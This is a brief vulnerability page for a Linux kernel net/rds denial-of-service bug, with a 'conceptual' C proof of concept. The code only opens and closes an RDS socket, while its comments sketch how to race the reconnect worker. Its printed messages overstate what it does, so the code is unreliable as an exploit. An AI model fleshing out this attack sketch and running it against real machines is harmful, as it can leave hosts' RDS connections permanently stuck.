CVE-2026-43230 Linux内核net/rds拒绝服务漏洞

/* * PoC for CVE-2026-43230 (Conceptual) * This code demonstrates the socket manipulation required to trigger the race condition. * Successful exploitation leads to the RDS reconnect pending bit being set permanently. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/types.h> #include <errno.h> #ifndef AF_RDS #define AF_RDS 21 #endif int main() { int sockfd; struct sockaddr_storage addr; socklen_t len = sizeof(addr); printf("[*] Creating RDS socket...\n"); sockfd = socket(AF_RDS, SOCK_SEQPACKET, 0); if (sockfd < 0) { perror("socket"); return 1; } printf("[*] Socket created (fd=%d). Attempting to trigger race condition...\n", sockfd); // To trigger the vulnerability, an attacker typically needs to force a reconnect // state and then rapidly close the socket or manipulate the interface to cancel // the worker before it executes. // Simulate connection setup (simplified) memset(&addr, 0, len); // In a real scenario, bind/connect to a target to initiate RDS state. // if (bind(sockfd, (struct sockaddr *)&addr, len) < 0) ... printf("[*] Triggering disconnect/reconnect sequence...\n"); // The race condition window is small and depends on system load/scheduling. // Exploitation involves closing the socket or bringing the interface down // immediately after a connection failure that queues the reconnect worker. close(sockfd); printf("[*] Socket closed. If exploited, the reconnect pending bit remains set.\n"); return 0; }